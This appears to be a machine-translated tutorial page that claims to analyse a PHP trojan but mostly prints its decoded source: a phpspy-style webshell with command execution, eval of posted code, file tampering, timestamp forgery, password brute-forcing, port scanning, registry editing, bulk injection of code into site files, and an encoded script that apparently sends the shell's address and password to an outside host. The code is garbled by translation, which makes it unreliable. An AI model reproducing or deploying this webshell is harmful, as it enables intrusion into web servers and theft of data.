> php教程 > php手册 > PHP 트로이 목마 분석(암호화 크래킹)

PHP 트로이 목마 분석(암호화 크래킹)

黄舟
풀어 주다: 2016-12-14 13:03:39
원래의
4369명이 탐색했습니다.

분석에 따르면 이 트로이 목마는 base64로 인코딩된 후 압축된 것으로 나타났습니다. 관련 기밀 유지 조치를 취했지만 PHP 코드를 실행해야 하며 결국 PHP 소스 코드가 생성되므로 이를 디코딩하고 압축을 풀고 파일에 쓰기 위해 다음 PHP 프로그램을 작성합니다.
복호화 및 압축 해제 코드는 다음과 같습니다.

코드는 다음과 같습니다.


function writetofile($filename, $ data)
{ //파일 쓰기
$filenum=@fopen($filename,"w")
if (!$filenum) {
return false; Flock($filenum,LOCK_EX );
$file_data=fwrite($filenum,$data)
fclose($filenum)
return true; >


그런 다음 PHP 환경에서 실행하면 다음과 같이 PHP 일반 텍스트 파일이 생성됩니다.

코드 복사 코드는 다음과 같습니다.


error_reporting(7);
ob_start();
$mtime = 폭발(' ', microtime())
$starttime = $mtime[1] + $mtime[0 ];
@set_time_limit(0);
//비안전 모드에서는 위 함수를 사용하여 시간 초과 후 취소할 수 있습니다.
/*====================== 프로그램 구성===================== =* /
// 비밀번호 확인이 필요한지 여부, 1은 확인이 필요함을 의미하고, 다른 숫자는 직접 입력을 의미합니다.
$admin['check'] = "1"; / 비밀번호 확인이 필요한 경우 로그인 비밀번호를 변경하세요.
//기본 포트 테이블
$hidden = "44997"
$admin['port'] = "80,139,21,3389,3306, 43958,1433,5631";
//점프에 사용되는 두 번째
$admin['jumpsecond'] = "1";
//Ftp 크래킹에 사용되는 연결 포트
$alexa = "yes";
/ /Alexa 순위 표시 여부, 예 또는 아니요
$admin['ftpport'] = "21"
// phpspy 자체에서 시간을 자동으로 수정하도록 허용할지 여부; 파일을 생성 시간에 맞게 편집했습니다(예/아니요)
$retime = "no";
// Linux 시스템의 경우 기본 cmd.exe 위치를 사용합니다. winnt 시스템이므로 프로그램에서 지정할 수 있습니다.)
$cmd = "cmd.exe";
// 아래는 많은 사람들이 키워드로 간주하기 때문에 phpspy에서 표시하는 저작권 열입니다. 프로그램하고 죽인 유한~~ 커스터마이징 허용. 그래도 이해가 안가시면 바꾸지 마세요~~

/*====================== 구성 끝=== ========= ==========*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']
$serverp = $admin ['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9')
$copyurll = 기본 64_decode('Jz4 8L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? ('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions")
/*==================== 인증===== ========= =======*/
if($admin['check'] == "1") {if ($_GET['action'] == "로그아웃 ") {setcookie ("adminpass", "");echo "";echo "로그아웃 성공...

>>";exit;}
if ($_POST['do'] == 'login ') {$thepass= Trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24* 3600));echo " ";echo "".$copyurl.$serveru."&p=".$ serverp.$copyurll." ";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();} } else {loginpage();}}
/*====================== 인증 종료 ====== ======= ========*/
// Magic_quotes_gpc 상태 확인
if (get_magic_quotes_gpc()) {$_GET = Stripslashes_array($_GET);$_POST = Stripslashes_array($ _POST);}
//mix.dll 코드
$mixdll = "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"; 

function shelL($command){ 
global $windows,$disablefunctions; 
$exec = '';$output= ''; 
$dep[]=array('pipe','r');$dep[]=array('pipe','w'); 
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean ();} 
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $출력 = @ob_get_contents(); @ob_clean(); $exec= $tmp; } 
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = Join("n",$output);$exec= $output;} 
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} 
elseif(is_resource($output=popen( $command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} 
elseif(is_resource($res=proc_open($) 명령,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} 
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=( isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run(" cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} 
return $exec; 

// 查看PHPINFO 
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo(): "phpinfo() 函数已被禁사용,请查看";exit; 
}if($_GET['action'] == "nowuser") {$user = get_current_user(); 
if(!$user) $user = "报告长官, 主机变态, 无法获取当前进行用户name!"; 
echo"当前进程사용명:$user"; 
퇴장; 

if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]
if($action=="mysqldown"){ 
$link=@mysql_connect($host,$user,$password); 
if (!$link) { 
$downtmp = '数据库连接失败: ' . mysql_error(); 
}else{ 
$query="select load_file('".$filename."');"; 
$result = @mysql_query($query, $link); 
if(!$result){ 
$downtmp = "변경된 내용이 없습니다. 
}그 외{ 
while ($row = mysql_fetch_array($result)) { 
$filename = basename($filename); 
if($rardown=="yes"){ 
$zip = 새 우편번호; 
$zipfiles[]=Array("$filename",$row[0]); 
$zip->추가($zipfiles,1); 
$code = $zip->get_file(); 
$filename = "".$filename.".rar"; 
}else{ 
$code = $row[0]; 

header("콘텐츠 유형: 애플리케이션/옥텟-스트림"); 
header("허용 범위: 바이트"); 
header("수용 길이: ".strlen($code)); 
header("콘텐츠 처리: 첨부 파일;filename=$filename"); 
에코($code); 
퇴장; 




// 在线代理 
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST[' url']);echo ($proxycontents) ? $proxycontents : "


获取 URL 内容失败

";exit; 

// 下载文件 
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename = basename($downfile);$filename_info =explod('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('콘텐츠 유형: application/x-'.$fileext);header('콘텐츠 처리: attachment; filename='.$filename.'');header('콘텐츠 설명: PHP 생성 데이터');header('콘텐츠 길이: '.filesize($downfile));@readfile($downfile);exit ;} 

// 直接下载备份数据库 
if ($_POST['backuptype'] == 'download') { 
@mysql_connect($servername,$dbusername,$dbpassword) 또는 die("数据库连接失败"); 
@mysql_select_db($dbname) 또는 die("选择数据库失败"); 
$table = array_flip($_POST['table']); 
$result = mysql_query("테이블 표시"); 
에코($result) ? NULL: "출현: ".mysql_error(); 

$filename = 기본 이름($_SERVER['HTTP_HOST']."_MySQL.sql"); 
header('콘텐츠 유형: 애플리케이션/알 수 없음'); 
header('콘텐츠 처리: 첨부 파일; 파일 이름='.$filename); 
$mysqldata = ''; 
while ($currow = mysql_fetch_array($result)) { 
if (isset($table[$currow[0]])) { 
$mysqldata.= sqldumptable($currow[0]); 
$mysqldata.= $mysqldata."rn"; 


mysql_close(); 
퇴장; 


// 程序目录 
$pathname=str_replace('\','/',dirname(__FILE__)); 
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]); 

// 获取当前路径 
if (!isset($dir) 또는 비어 있음($dir)) { 
$dir = "."; 
$nowpath = getPath($pathname, $dir); 
} else { 
$dir=$_GET['dir']; 
$nowpath = getPath($pathname, $dir); 


// 判断读写情况 
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "불요"; 
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()>" : ""; 
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " |
注册表操작" : ""; 

$tb = 새로운 양식; 

?> 
 
<머리> 
 
 
 
 
<?php echo"$myneme"?> 
 

//$_SERVER["DOCUMENT_ROOT"] 
$tb->tableheader(); 
$tb->tdbody('
'.$_SERVER['HTTP_HOST'].''.date("Y年m月d日 h:i:s",time()).''. gethostbyname($_SERVER['SERVER_NAME']).'
','center','top');
$tb-> ;tdbody('根目录 | Shell目录 | 전체 용량 | 재현대리'.$reg.$phpinfo.' | 웹쉘 | 杂项破解 | 解压mix.dll | 注销登录'); 
$tb->tdbody('총량수 | Http文件下载 文件查找 | 执行php脚本 | 执行SQL语句 | Func反弹Shell | MySQL备份 Serv-U提权'); 
$tb->tablefooter(); 
?> 

 
 
$tb->headerform(array('method'=>'GET','content'=>'

程序路径: '.$pathname.'
当前目录(' .$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
跳转目录: '.$tb- >makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','确정','',' 제출').')); 

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content' =>'上传文件到当前目录: '.$tb->makeinput('uploadfile','','','file').'.$tb->makeinput('doupfile','确결정 ','','제출').$tb->makeinput('uploaddir',$dir,'','hidden'))); 

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'new建文件在当前目录: '. $tb->makeinput('editfile').' '.$tb->makeinput('createfile','确결정','','submit'))); 

$tb->headerform(array('content'=>'新建目录在当前目录: '.$tb->makeinput('newdirectory').' '.$tb-> makeinput('createdirectory','결정','','submit'))); 
?> 
 


 
/*===================== 执行操작 开始 ============= =======*/ 
에코 "

n"; 
// 删除文件 
if (!empty($delfile)) { 
if (file_exists($delfile)) { 
echo (@unlink($delfile)) ? $delfile." 删除成功!" : "文件删除失败!"; 
} else { 
echo 기본 이름($delfile)." 文件已不存재!"; 



// 删除目录 
elseif (!empty($deldir)) { 
$deldirs="$dir/$deldir"; 
if (!file_exists("$deldirs")) { 
echo "$deldir 目录已不存재!"; 
} else { 
echo (deltree($deldirs)) ? "目录删除成功!" : "目录删除失败!"; 



// 创建目录 
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { 
if (!empty($ newdirectory)) { 
$mkdirs="$dir/$newdirectory"; 
if (file_exists("$mkdirs")) { 
echo "该目录已存재!"; 
} else { 
echo (@mkdir("$mkdirs",0777)) ? "创建目录成功!" : "创建失败!"; 
@chmod("$mkdirs",0777); 




// 上传文件 
elseif ($doupfile) { 
echo (@copy($_FILES['uploadfile']['tmp_name' ],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "상위성공!" : "上传失败!"; 

elseif($action=="mysqlup"){ 
$filename = $_FILES['upfile']['tmp_name']; 
if(!$filename) { 
echo"没有选择要上传的文件。。"; 
}else{ 
$shell = file_get_contents($filename); 
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile']['name']
$shell = "select 0x".$mysql." ".$database."를 DUMPFILE '".$uppath."/".$upname."';";
$link=@mysql_connect($host,$user,$password);
if( !$link){
echo "로그인 실패".mysql_error();
}else{
$result = mysql_query($shell, $link)
if($result){
echo" 작업이 성공했습니다. 파일이 ".$host."에 성공적으로 업로드되었으며 파일 이름은 ".$uppath."/".$upname.".."
}else{
echo" 업로드 실패 이유: ".mysql_error()
}
}
}

}
elseif($action=="mysqldown"){
if(!empty($ downtmp)) echo $downtmp;
}
// 파일 편집
elseif ($_POST['do'] == 'doeditfile') {
if (! 비어 있음($_POST['editfilename '])) {
if(!file_exists($editfilename)) unset($retime)
if($time==$now) $time = @filemtime($editfilename) );
$time2 = @date("Y-m-d H:i:s",$time)
$filename="$editfilename";
@$fp=fopen("$filename"," w");
if($_POST['change']=="yes"){
$filecontent = "?".">".$_POST['filecontent']."$filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "";
}else{
$filecontent = $_POST['filecontent'];
}
echo $msg=@fwrite ($fp,$filecontent) ? "파일에 쓰는 데 성공했습니다!": "쓰기에 실패했습니다!"
if($retime== "yes"){
echo" Yuyu 자동 작업:";
echo $msg=@touch($filename,$time) ? "파일을 ".$time2"로 수정했습니다. 성공했습니다!" 파일 시간을 수정하세요!";
}
} else {
echo "수정할 파일 이름을 입력하세요!";
}
}
//파일 다운로드
elseif ($_POST['do' ] == '다운로드') {
$contents = @file_get_contents($_POST['durl'])
if(!$contents){
echo "다운로드할 데이터를 읽을 수 없습니다.";
}
elseif(file_exists($path)){
echo "죄송합니다. ".$path." 파일이 이미 존재합니다. 저장을 변경하세요. 파일 이름. ";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "파일이 성공적으로 다운로드되었습니다!" : " 쓰는 동안 파일을 다운로드하지 못했습니다!";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if (!file_exists($_POST['mixto'])){
$tmp = base64_decode($mixdll);
$tmp = gzinflate($tmp)
$fp = fopen($_POST[' mixto'],"w");
echo $msg=@fwrite($fp,$tmp) ? "압축 해제에 성공했습니다!": "이 디렉토리는 쓸 수 없나요? !";
fclose($fp);
}else{
echo"그렇지 않나요? ".$_POST['mixto']."이미 존재합니다~";
}
}
// 파일 속성 편집
elseif ($_POST['do'] == 'editfileperm ') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10)
echo (@chmod( $dir ."/".$file,$fileperm)) ? "속성이 성공적으로 수정되었습니다!": "수정에 실패했습니다!";
echo " File ".$file." 수정된 속성은 다음과 같습니다: ".substr( base_convert(@ fileperms($dir."/".$file),10,8),-4);
} else {
echo "설정하려는 속성을 입력하세요!"
}
}

// 파일 이름 바꾸기
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname']
if (@file_exists($newname)) {
echo "".$_POST[ 'newname ']." 이미 존재합니다. 다시 입력해 주세요!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? )." 이름을 ".$_POST['newname']"으로 변경했습니다. !" : "파일 이름 수정에 실패했습니다!"
}
} else {
echo "원하는 내용을 입력하세요. 파일 이름을 변경하려면!";
}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"키워드 검색:[".$oldkey."], 검색 결과는 아래에 표시됩니다:"
if($type2 == "getpath"){
echo "결과 파일 위로 마우스를 이동하면 표시가 부분적으로 중단됩니다."; >find ($path);
}else{
echo "새우를 확인하시겠습니까? 새우를 확인하시겠습니까? 확인하고 싶은 새우가 있습니까?"; 🎜>}
elseif ( $_GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST['mm'])
}
elseif ($_GET['action '] == "plgm") {
$action = '?action=plgmok'
$gm = "";
$tb->tableheader()
$tb->formheader($action,'일괄 말 장착 ');
$tb ->tdbody('웹사이트 일괄 마운팅 프로그램 PHP 버전','center')
$tb->tdbody('파일 위치: '.$tb->makeinput( 'dir',''. $_SERVER["DOCUMENT_ROOT"].'','','text','60').'
코드를 정지하려면:'.$tb->maketextarea(' mm',$gm,'50 ','5').''.$tb->makehidden('do','배치 마운트 말').'
'.$tb->makeinput( '제출','말 탑승 시작','','제출'),'center','1','35')
echo ""; ;tablefooter();
}//end plgm
// 복제 시간
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST) ['curfile'])) {
echo "수정할 파일이 존재하지 않습니다!";
} else {
if (!@file_exists($_POST['tarfile'])) {
echo "참조할 파일이 없습니다!"
} else {
$time=@filemtime($_POST['tarfile'])
echo (@touch($_POST[ 'curfile'],$time,$time)) ? basename($_POST['curfile'])."의 수정 시간이 ".date("Y-m-d H:i:s",$time)로 성공적으로 변경되었습니다. " !" : "파일 수정 시간을 수정하지 못했습니다!";
}
}
}

// 시간 지정
elseif ($_POST['do '] == 'modmytime') {
if (!@file_exists ($_POST['curfile'])) {
echo "수정할 파일이 존재하지 않습니다!"
} else {
$연도=$_POST['연도'];
$월 =$_POST['월']
$data=$_POST['데이터']
$hour=$_POST ['시간'];
$분=$_POST['분'] ;
$초=$_POST['초']
if (!empty($year) AND !empty($ 월) AND !empty($data) AND !empty($hour) AND !empty($분) AND !empty($second)) {
$time=strtotime("$data $month $year $hour: $분:$초");
echo (@touch($_POST[ 'curfile'],$time,$time)) ? basename($_POST['curfile']) 수정 시간이 성공적으로 완료되었습니다. ".date("Y-m-d H:i:s",$time)." ! " : "파일 수정 시간을 수정하지 못했습니다!";
}
}
}
elseif($do =='port'){
$tmp =explore(",", $port)
$count = count($tmp)
for($i=$first) ;$i<$count;$i++){
$fp = @fsockopen($host, $ tmp[$i], $errno, $errstr, 1)
if($fp) echo "발견됨" ".$host."호스트가 포트를 열었습니다.".$tmp[$i]."
";
}
}
/*
여기의 코드는 매우 복잡합니다. 솔직히 말하면 내가 무슨 글을 썼는지조차 모르겠다.
다행히 효과가 있으니 별 신경 안쓰고 누가 보면 그냥 다시 쓰겠습니다. */
elseif ($do == 'crack') {//어차피 전역 변수로 등록됩니다.
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp)
if(empty($onetime)){
$onetime = $count;
$turn="1";
}else{
$nowturn = $turn+1
$now = $turn*$onetime; $tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo"가 사전 용량을 초과합니다~if 죄송합니다 마지막 프로세스를 크랙하지 못한 경우. ";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now; $i++){
if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]))
else $sa = @ftp_login( ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]))
if($sa)
{
$t = "Get".$user ."의 비밀번호는 ".$tmp[$i].""입니다.
}
}
if(!$t){
echo "사전 합계".$ count.", 이제 ".$first."에서 ".$now.", ".$admin[jumpsecond]."로 초 후에 ".$onetime." 비밀번호가 테스트됩니다. >>> ;
".$type."을 해독하려면 ".$tt." 횟수가 필요하며 이제 ".$turn."이 됩니다.
}
else {
echo "$t";
}
}
}else{
echo "사전 파일이 없습니다. 확인해주세요.";
}
elseif($do =='port'){
if(!eregi("-",$port)){
$tmp = 폭발(",",$port ) ;
$count = count($tmp);
$first = "1";
}else{
$tmp =explore("-",$port); = $tmp[0];
$count = $tmp[1];

}
for($i=$first;$i<$count;$i++){
if(!eregi("-",$port)){
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1)
if($fp ); echo "Discover".$host."호스트가 포트를 열었습니다.".$tmp[$i]."
"
}else{
$fp = @fsockopen($host, $i , $errno, $errstr, 1)
if($fp) echo "Found".$host."호스트가 포트를 열었습니다.".$i."
"
} > }

}
//MYSQL에 연결
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname) ) {
echo "데이터베이스 연결 성공!";
mysql_close();
} else {
echo mysql_error()
}

// SQL 문 실행
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) 또는 die("데이터베이스 연결 실패"); @mysql_select_db ($dbname) 또는 die("데이터베이스 선택 실패");
$result = @mysql_query($_POST['sql_query'])
echo ($result) ? " : " 오류: ".mysql_error();
mysql_close();
}

// 백업 작업
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) ORempty($_POST['backuptype'])) {
echo "백업할 데이터 테이블과 백업 방법을 선택해주세요!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("데이터베이스 연결 실패");
@mysql_select_db( $dbname) 또는 die("데이터베이스 선택 실패")
$table = array_flip($_POST['table'])
$filehandle = @fopen($path," w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "오류: ".mysql_error();
while ($currow = mysql_fetch_array( $result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle)
fwrite ($filehandle,"nnn" );
}
}
fclose($filehandle)
echo "데이터베이스가 ".$path."";
mysql_close();
} else {
echo "백업에 실패했습니다. 확인해 주세요. 대상 폴더에 쓰기 권한이 있는지! ";
}
}
}
}
elseif($downrar) {
if (!empty($dl)) {
if(eregi("unzipto: ",$localfile)){
$path = "".$dir."/".str_replace("unzipto:","",$localfile).""; >$zip = 새 우편번호
$zipfile=$dir."/".$dl[0]
$array=$zip->get_list($zipfile); ($array);
$f=0;
$d=0
for($i=0;$i<$count;$i++) {
if($array[$ i][폴더]==0 ) {
if($zip->Extract($zipfile,$path,$i)>0) $f++
}
else $d++
}
if($i==$f+$d) echo "$dl[0]이 ".$path"로 압축 해제되었습니다. 성공적으로
($f files$d 디렉토리)" ;
elseif($f==0) echo "$dl[0]이 ".$path"로 압축을 풀지 못했습니다.
else echo "$dl[0]이 완전히 압축 해제되지 않았습니다}else{
$zipfile="";
$zip = new Zip;
for($k=0;isset ($dl[$k ]);$k++)
{
$zipfile=$dir."/".$dl[$k]
if(is_dir($zipfile))
{
설정 해제( $zipfilearray);
addziparray($dl[$k]);
for($i=0;$zipfilearray[$i];$i++)
{
$filename=$zipfilearray[ $i];
$filesize=@filesize($dir."/".$zipfilearray[$i])
$fp=@fopen($dir."/".$filename,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize))
@fclose($fp)
}
}
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile)
$fp=@fopen($zipfile,rb)
$zipfiles[]=배열 ($filename,@fp,$filesize));
@fclose($fp)
}
}
$zip->Add($ zipfiles,1); 🎜>$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time()).""
if(비어 있음($localfile)){
header("콘텐츠 유형: 애플리케이션/옥텟-스트림") ​​
header("Accept-Ranges: 바이트")
header("Accept-Length: ".strlen($code) ));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip")
echo $code ; 종료;
}else{
$fp = @fopen("".$dir."/".$localfile."","w")
echo $msg=@ fwrite($fp ,$code) ? "압축하여 저장합니다.".$dir."/".$localfile."로컬 성공! !" : "Directory".$dir."쓰기 권한이 없습니다!";
@fclose($fp);
}
}
} else {
echo "무엇을 선택하세요? 다운로드한 파일을 패키지하세요!";
}
}
// Shell.Application 실행 프로그램
elseif(($_POST['do'] == 'programrun') AND !empty($ _POST ['프로그램'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion')
$a = $shell- > ;ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') ? "프로그램이 성공적으로 실행되었습니다!" run!";
}
// PHP 구성 매개변수 상태 확인
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'] )) {
echo "구성 매개변수".$_POST['phpvarname']." 탐지 결과: ".getphpcfg($_POST['phpvarname']).""
}
// 읽기 레지스트리
elseif (($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell ');
var_dump(@$shell->RegRead($_POST['readregname']))
}

// 레지스트리에 쓰기
elseif(($regwrite ) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W '.'Scr'. 'ipt.S'.'hell')
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST[ 'regtype']);
echo ($a=='0') ? "레지스트리 키 값을 성공적으로 기록했습니다!": "".$_POST['regname'].", ".$_POST['regval '].", ".$_POST['regtype']." 실패했습니다!";
}
// 레지스트리 삭제
elseif(($regdelete) AND !empty($_POST['delregname' ]) ) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll')
$a = @$shell->RegDelete( $_POST ['delregname']);
echo ($a=='0') ? "레지스트리 키를 삭제했습니다!": "".$_POST['delregname'] 삭제에 실패했습니다!" >}
else {
echo "$notice"
echo "프로그램 | pcAnywhere | 开始程序 | 모든 사용자 Serv-U 
($i=66;$i<=90;$i++){$drive= chr($i).':'; 
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " $drive\";} 



에코 "< ;/b>

n"; 
/*===================== 执行操作 结束 ===================== */ 
if (!isset($_GET['action']) OR 비어 있음($_GET['action']) OR ($_GET['action'] == "dir")) { 
$ tb->테이블헤더(); 
?> 
 
 
 
 
 
 
 
 
 
// 目录列表 
$dirs=@opendir($dir); 
$dir_i = '0'; 
while ($file=@readdir($dirs)) { 
$filepath="$dir/$file"; 
$a=@is_dir($filepath); 
if($a=="1"){ 
if($file!=".." && $file!=".") { 
$ctime=@date("Y-m-d H: i:s",@filectime($filepath)); 
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); 
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4); 
echo "
n"; 
echo "
n"; 
echo "
n"; 
echo "
n"; 
echo "
n"; 
echo "
n"; 
echo "
n";
$dir_i++;
} else {
if($file=="..") {
echo "
n";
echo "
n";
}
}
}
}// while
@closedir($dirs);
?>

🎜>// 파일 목록
$dirs=@opendir($dir)
$file_i = '0'
while ($file=@readdir($dirs) ) {
$filepath="$dir/$file";
$a=@is_dir($filepath)
if($a=="0"){
$size=@ 파일 크기 ($filepath);
$size=$size/1024;
$size= @number_format($size, 3)
if (@filectime($filepath) == @filemtime($filepath ) ) {
$ctime=@date("연월일 H:i:s",@filectime($filepath))
$mtime=@date("연월일 H:i:s",@filemtime( $ filepath))); else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath)). ";
$mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."< span>";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "
n"
echo "
n" ;
echo "
n"
echo "
n";
echo "
n";
echo "< ;/tr>n";
$file_i++;
}
}// 동안
@closedir($dirs);
